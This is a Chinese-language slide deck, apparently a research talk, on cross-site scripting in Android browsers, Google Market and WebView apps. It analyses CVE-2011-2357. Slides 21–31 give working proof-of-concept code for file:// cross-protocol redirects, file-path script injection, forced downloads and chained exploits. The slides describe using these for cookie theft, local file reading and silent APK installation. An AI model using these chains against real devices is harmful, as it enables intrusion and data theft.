xss on android

35
XSS on Android 陈陈陈

Upload: wenda

Post on 21-Jan-2016

123 views

Category:

Documents


2 download

DESCRIPTION

XSS on Android. 陈爱华. XSS on Android. 1、关于XSS 2、XSS on Desktop 3、XSS on Android Vs. XSS on Desktop 4、XSS on Android 5、下一步工作. XSS——Cross Site Scripting. XSS漏洞: 由于Web应用程序没有充分过滤用户输入内容,或者浏览器没有充分过滤页面输出内容,导致的应用层安全漏洞。攻击者利用XSS漏洞能访问受害者的敏感信息。 跨站: “站” XSS攻击三个步骤: 1、用户访问的访问的网站是一个存在XSS漏洞的网站。 - PowerPoint PPT Presentation

TRANSCRIPT

Page 1: XSS on Android

XSS on Android

陈爱华

Page 2: XSS on Android

XSS on Android

• 1 、关于 XSS

• 2 、 XSS on Desktop

• 3 、 XSS on Android Vs. XSS on Desktop

• 4 、 XSS on Android

• 5 、下一步工作

Page 3: XSS on Android

XSS——Cross Site Scripting• XSS 漏洞:由于 Web 应用程序没有充分过滤用户输入内容,或者浏

览器没有充分过滤页面输出内容,导致的应用层安全漏洞。攻击者利用 XSS 漏洞能访问受害者的敏感信息。

• 跨站:“站”

• XSS 攻击三个步骤:• 1 、用户访问的访问的网站是一个存在 XSS 漏洞的网站。• 2 、攻击者发现该网站的 XSS 漏洞,向其中注入恶意代码,并诱导用

户点击访问。• 3 、用户访问了注入恶意代码的 Web 页面,恶意脚本在用户的浏览

环境中执行,攻击者的攻击目的达到。

• 漏洞利用:获取执行权限 + 执行恶意脚本。

• 有 HTML 、 JavaScript 的地方就可能有 XSS 。

Page 4: XSS on Android

XSS——Cross Site Scripting

• 攻击者利用 XSS 漏洞劫持已通过验证的会话。劫持到已验证的会话后,攻击则拥有该授权用户的所有权限。

• 反射型 XSS 的攻击步骤:

Page 5: XSS on Android

XSS on Desktop—— 检测、防御• 服务端:漏洞扫描、代码审计等。

• 客户端:浏览器的安全机制、浏览器代码过滤器、反病毒软件等。

• 客户端 - 服务端协作的方法。

• 我们的研究对象:客户端浏览器上的检测、过滤机制。

Page 6: XSS on Android

XSS filter in browser

以 IE 、 Firefox 、 Chrome 为例:

• IE8 :内置了一款无法卸载的 Xss Filter ,能够反射型跨站脚本攻击做比较好的防护。 http://blogs.msdn.com/b/ie/archive/2008/07/02/ie8-security-part-iv-the-xss-filter.aspx

• Firefox : NoScript ,是一个免费、开源的,为 Mozilla Firefox 所开发的 扩展( Add-ons )。 NoScript 以白名单选择性执行 JavaScript 、 Java 、Flash 、 Sliverlight 以及其它插件和脚本内容。

• Chrome : XSSAutior 。

• PC 浏览器端的 XSS 过滤机制相对饱满,相应的 XSS 过滤器已经形成产品并被广泛使用。但随着移动互联网的普及,以及 Android 应用的日益广泛, Android 上的 XSS 防御处于未知状态,因此研究 XSS on Android 。 .

Page 7: XSS on Android

XSS on Android Vs. XSS on Desktop

• 相同之处: 都要执行 html\js 代码,所以都有存在 XSS 漏洞的可能。

• 不同之处: 1 、 SNS 的 Android App 广泛使用,在一定程度上淡化了

浏览器的使用。 2 、 App 中会引入 html\js 代码,可能存在 XSS 。 3 、 Android 移动浏览器均是新开发的,安全机制尚不完善。 4 、移动设备涉及更多的个人隐私信息。• 因此,研究 XSS on Android尤为重要。

Page 8: XSS on Android

XSS on Android

• 1 、威胁

• 2 、检测

Page 9: XSS on Android

XSS on Android——威胁CVE :介绍 CVE四个相关漏洞

未提交:GoogleMarket 漏洞浏览器 Webkit 漏洞客户端 App 漏洞(通过 WebView控件引入 html 、

js 导致)

其他:开发环境漏洞及利用

Page 10: XSS on Android

XSS on Android——威胁• CVE:英文全称是“ Common Vulnerabilities & E

xposures”公共漏洞和暴露。• CVE 就好比一个字典表,为广泛认同的信息安全

漏洞或者已经暴露出来的弱点给出一个公共的名称和漏洞编号。使用漏洞名称和编号,可以帮助用户在各自独立的各种漏洞数据库中和漏洞评估工具中共享数据。这样就使得 CVE 成为了安全信息共享的“关键字”。如果在一个漏洞报告中指明的一个漏洞,如果有 CVE 名称,就可以快速地在任何其它 CVE兼容的数据库中找到相应修补的信息,解决安全问题。

Page 11: XSS on Android

XSS on Android——威胁• CVE四个相关漏洞:• CVE-2012-0767 , CVE-2011-2107 : Windows 、 Mac

OS X 、 Linux 、 Android2.x 、 Android3.x 中 FlashPlayer 的漏洞,允许远程攻击者通过攻击向量向 web叶面中注入 html\js 代码。

• CVE-2011-2444 : Windows 、 Mac OS X 、 Linux 、 Android2.x 、 Android3.x 中 FlashPlayer 的漏洞,允许远程攻击者通过向精心构造的 URL 中注入 Web 脚本或 html.

• CVE-2011-2357 : Android 中 Intents 机制的漏洞,导致 JS 代码可以跨域在当前浏览器环境中执行。

Page 12: XSS on Android

XSS on Android——威胁

• CVE-2011-2357 : 2011年 6月发现,并报告谷歌 ,2011年 7月发布补丁。

• 影响版本: Android 2.3.4 、 Android3.1 。• 产生原因:利用 Android 浏览器中 Intents

处理机制的漏洞,导致可执行的 JS 代码能够窃取浏览器保存的 cookie 等隐私信息,使手机任意下载恶意应用。

Page 13: XSS on Android

XSS on Android——威胁• CVE-2011-2357 漏洞详情: Intents• Intents:android 应用程序的三大组件—— Activities 、 Services 、 Bro

adcast Receiver ,通过 Intents消息触发。

• Intents 分为显式 Intents ( Explicit )和隐式 Intents ( Implicit )两类。• 显式 Intents: 通过名字指定目标组件。因为开发者通常不知道其它应

用程序的组件名字,显式 intent 通常用于应用程序内部消息,如一个活动启动从属的服务。

• 隐式 Intenst: 并不指定目标的名字(组件名字字段是空的)。隐式 intent 经常用于激活其它应用程序中的组件。

• 详细信息: http://www.cnblogs.com/skynet/archive/2010/07/20/1781644.html

Page 14: XSS on Android

XSS on Android——威胁• CVE-2011-2357 漏洞详情: Intents• 对于 Activities 、 Services 、 Broadcast Receiver这三大组件,均有独立的传送 intent 的机制:

• Activity :一个 intent 对象传递给 Context.startActivity() 或 Activity.startActivityForRestult()去启动一个活动或使一个已存在的活动去做新的事情。

• Service :一个 intent 对象传递给 Context.startService()去初始化一个 service 或传递一个新的指令给正在运行的 service 。类似的,一个 intent 可以传递给 Context.bindService()去建立调用组件和目标服务之间的连接。

• Broadcast Receiver :一个 intent 对象传递给任何广播方法(如 Context.sendBroadcast() , Context.sendOrderedBroadcast() , Context.sendStickyBroadcast() ),都将传递到所有感兴趣的广播接收者。

• 在每种情况下, Android 系统查找合适的 activity 、 service 、 broadcast receivers 来响应意图

Page 15: XSS on Android

XSS on Android——威胁

• 攻击模型: a 、用户安装恶意应用。 b 、 用户的浏览器存储 cookie 等登陆信息。 c 、 Android 自带的基于 Webkit 的浏览器

是 http:/https: 、 javascript:VIEW Intents的默认接收者。

Page 16: XSS on Android

XSS on Android——威胁• CVE-2011-2357 漏洞:• 浏览器接收来自 VIEW Intents 的基于 http:/https:/javascri

pt: 的操作,可以加载页面、执行 JS 代码:

• 1 、当浏览器接收查看 http:/https : URI 的 Intent时,会打开新的浏览器窗口并加载页面。

• 2 、但当浏览器接收 javascript: URI时,浏览器不会打开新的浏览器窗口,而是在当前活动窗口中执行 JS 代码 .

• 因此, JS 的可执行代码能够在刚加载的页面中执行,导致 XSS 漏洞。

Page 17: XSS on Android

XSS on Android——威胁

• CVE-2011-2357 漏洞利用:• 代码截图:

在 https://market.android.com 中会打印浏览器的cookie 信息。

Page 18: XSS on Android

XSS on Android——威胁

• CVE-2011-2357 漏洞危害:危害严重,利用简单。• 1 、 http:/https:/javascript:URIs 的 Intents 执行过程不需

要任何权限。 android.permission.Internet 都不需要。• 2 、利用 JS 代码,攻击者可以窃取浏览器的 cookie 信息

以及会话 id 。• 3 、利用 https://market.android.com 攻击者能够在用户的手机上安装任意应用程序。

• 4 、即使 Android Market 使用 token ,攻击者也能够利用JS读取 token ,然后向 Android Market 服务端应用程序安装请求。

Page 19: XSS on Android

XSS on Android——威胁• Google market 本地存储型漏洞:• 利用 https://market.android.com 页面对提交的 app 描述

内容的过滤不严格导致的 google market 本地存储型 XSS漏洞,可以直接通过 js实现在手机上自动下载安装恶意 apk

• 截图如下:

Page 20: XSS on Android

XSS on Android——威胁• 浏览器的跨域漏洞:• 对于 PC平台上的经验来看,浏览器的跨域漏洞主要表现为 2种类型:

• i 、 http 协议之间的跨域。主要体现在不利用应用程序 xss 漏洞的情况下,利用浏览器本身处理 javascript 方面的漏洞实现跨站之间的数据读取等。

• ii 、通过 http 协议跨其他浏览器的伪协议。如 http://-->file:// http://-->about: 等浏览器支持的伪协议。对于这类漏洞利用存在有 2 个必要条件:

• a 、 http:// 可以调用目标伪协议(如 http://调用 file:// 在很多浏览器是被禁止或者受限制的)。

• b 、目标协议可以执行注入的 javasript (如实现协议本身的存在 xss 漏洞,或者对于 file://来说我们可以写入任意 html文件到本地然后调用)。

主要分析 ii种情况。

Page 21: XSS on Android

XSS on Android——威胁• 条件: a 、 http://-->file :• [0day-NO.1] 、 android-webkit 跨协议漏洞:• android-webkit 在处理转跳时存在漏洞,导致允许从 http 协议跨越其他的协议如 file://

协议,实现跨域漏洞。 POC如下:

• <iframe name=f src="location.php" ></iframe>• <script>• function init(){• f.location = "file:///default.prop";• }• setTimeout(init,5000)• </script>• location.php 代码如下:• <?php• header("Location:file:///gesong.org");• ?>• 上面的代码实现了从 http:// 到 file:// 的跨越 [android 4.0 上已经不存在该漏洞 ] 。

Page 22: XSS on Android

XSS on Android——威胁• 条件: b 、目标协议可以执行注入的 javasript (如实现协议本身的

存在 xss 漏洞,或者对于 file:// 来说我们可以写入任意 html 文件到本地然后调用)

• [0day-NO.2]、 android-webkit 的 file:// 协议 xss 漏洞:• android-webkit 在实现 file://打开不存在的文件给出的提示对文件路径缺少过滤导致 xss 漏洞。

• POC如下:• 地址访问 file:///gesong.org/<script>alert(1);</script> • 插入的代码 <script>alert(1);</script> 将被执行。• 该漏洞只存在于: 1.6<android<4.0 。

Page 23: XSS on Android

XSS on Android——威胁• 条件: b 、自动下载文件

• [0day-NO.3] 、 android-browser 和 firefox 自动下载文件漏洞:• adroid系统自带的浏览器 com.android.browser 在处理 Content-Dispositi

on: attachment 的时候, UI设计存在漏洞,导致可以自动下载文件到固定的本地目录。 POC如下:

• <?• //autodown.php• header("Content-Disposition: attachment:filename=autodown.htm");• $data=<<<android_xss_go• <script>alert(/xss/);</script>• android_xss_go;• print $data;• ?>• 在上面的代码在不同的版本的 android系统上是不一样的:• android 1.x 自动下载保存文件名为: /sdcard/download/autodown.html• android 2.x-3.x 自动下载保存文件名为: /sdcard/download/autodown.htm• android 4.0 自动下载保存文件名为: /sdcard/download/autodown.php• firefox 自动下载保存文件名为: /sdcard/download/autodown.php

Page 24: XSS on Android

XSS on Android——威胁• 浏览器 webkit 跨域漏洞利用:• //[0day-NO.1]+[0day-NO.2]• <iframe name=f src="location.php" ></iframe>• <script>• function init(){• f.location = "file:///ssss<sc"+"ript>alert(1);</sc"+"ript>/";• }• setTimeout(init,5000)• </script>

• POC[2]:• //[0day-NO.1]+[0day-NO.3]• <meta http-equiv=“refresh” content=“0;URL=autodown.php”/>• <iframe name=f src=”location.php“> </iframe>• <script>• function init(){• f.location = "file:///sdcard/Download/autodown.htm";• }• setTimeout(init,5000)• </script>

Page 25: XSS on Android

XSS on Android——威胁

• 通过以上跨域漏洞可以实现 :

• 1 、跨域 http 。• 2 、跨越market.android.com实现自动下

载安装恶意 apk 。• 3 、挖掘本地文件。处在 file://域下,在 we

bkit里可以通过 xmlhttp读取本地文件,获取有价值的信息。

Page 26: XSS on Android

XSS on Android——威胁

• 应用程序( apk )漏洞:

• 在 Android系统中,浏览器本质上是一个应用程序,只是浏览器本身存在的原因就是处理 html/js等元素。由于 google采用的应用程序化的机制,直接削弱了浏览器的使用。各大 SNS 的网络都推出了基于 apk 的应用程序客服端,所以还需关注应用程序里的 xss 。

Page 27: XSS on Android

XSS on Android——威胁• android 应用开发里要引用 html/js 的方法目前比较常用就

的是调用 webview控件来实现• webview控件在 load 网页时有 3种方式:• (1) 、 webview.loadUrl(url);• (2) 、 webview.loadData(data, "text/html", "utf-8");• (3) 、 webview.loadDataWithBaseURL(baseUrl, data,

"text/html", "utf-8", null);

• 另外 webview默认是不支持 js 的,要支持 js还必须webSetting进行设置:webSetting.setJavaScriptEnabled(true);

Page 28: XSS on Android

XSS on Android——威胁• (1) 、 webview.loadUrl(url); 对于这种方式, js 执行的 do

main 取决于 url 的 domain 。

• 此时这个 webview 就相当于一个基于 android-webkit 的第三方外壳浏览器,因此 url也可以是 file:// 和 javascript: 等伪协议。

• 该方式存在的 xss 漏洞,严重程度完全取决于参数 url 。如果在应用程序里这个 url 可以控制,那么我们可以直接指定它到 file://那么所有的攻击又回到了浏览器里跨域的利用方式了。当然,当只可以在 http:// 下时上面提到的 android-webkit 的漏洞都是一样的。

Page 29: XSS on Android

XSS on Android——威胁• (2) 、 webview.loadData(data, "text/html", "utf-8");

• 这种调用方式就相当于在浏览器里使用 "data:text/html;<html>"伪协议。

• 及时在应用程序里可以控制第一个参数 data 导致 xss 漏洞,那它执行的 js 的域也是在空白域,如果不使用 webkit的漏洞,基本上是没有太多办法跨域的。

• 因此目前这种类型的 xss基本就只有靠 webkit 的漏洞的来实现跨域。

Page 30: XSS on Android

XSS on Android——威胁• (3) 、 webview.loadDataWithBaseURL(baseUrl, data, "te

xt/html", "utf-8", null);

• 相比上面 2 个函数,这个函数可以控制 Url 及执行的 data 。那么这样的方式导致的 xss 漏洞,执行域也取决于 baseUrl ,这个相比 (1)里的 url来说,它可以是其他随意的“域” 如:

• webview.loadDataWithBaseURL(“aaa”, data, "text/html", "utf-8", null);

• 那么他执行的 js 就是在 "aaa"域下。对于这样的方式好像也没有太多的利用,不过这个方式可以通过转跳到任意域包括 file:// 。

Page 31: XSS on Android

XSS on Android——威胁• [0day-NO.4] 、 webview.loadDataWithBaseURL() 跨协

议漏洞• webview.loadDataWithBaseURL() 在可以控制第 2 个参数的情况下,可以通

过 js转跳来跨越其他的协议如 file:// 协议,导致跨域漏洞:

• WebView webview;• webview = (WebView) findViewById(R.id.webview);• webview.getSettings().setJavaScriptEnabled(true);• webview.setWebChromeClient(new WebChromeClient());• String data="80vul<script>window.location='file://///default.prop';</script>";• webview.loadDataWithBaseURL("http://www.baidu.com/", data, "text/html",

"utf-8", null);

• 所以在实际 apk 可以通过 loadDataWithBaseURL 导致 xss 的利用。

Page 32: XSS on Android

XSS on Android——威胁其他:开发环境漏洞及利用。 Eclipse 的浏览器在 windows 下直接调用 IE 内核来实现的,而在非 windows 下使用的是 WEBKit核心的浏览器。

对于这样的简陋的浏览器安全防御薄弱。具体在 Eclipse里,有个致命的问题那就是,当开发者点击 html文件时,默认情况下,它调用的不是编辑界面,而是浏览器里运行!

而且是没有任何安全提示下通过 file://伪协议下执行 html文件里的 javascript 代码,这意味着一个“跨域”漏洞可能 ....

Page 33: XSS on Android

XSS on Android——威胁

• 总结:• 因为一般的 SNS 的 apk 应用都是采用网络 api 的方式验证登录的,所以传统的得到 cookie 的方式基本上没有什么意义 ! 对于在 http:// 下跨域非常有限。

• 所以 Android 上的 XSS 漏洞大体上利用如下:• 1 、利用 googleplay 的漏洞,下载恶意应用。• 2 、利用 Android 中处理 http 、 https 、 javascript 机制的缺陷,

执行恶意脚本。• 3 、利用 webkit 的漏洞实现跨 file://伪协议。• 4 、利用 webview引入 html\js 的函数实现跨域。• 研究 Android 中 webkit 的工作机制是核心。

Page 34: XSS on Android

下一步工作

• 1 、 Android 中 webkit 的详细工作流程。• 2 、 Android 的内嵌浏览器以及其他移动浏

览器中对 XSS 的防御机制。

Page 35: XSS on Android

谢谢!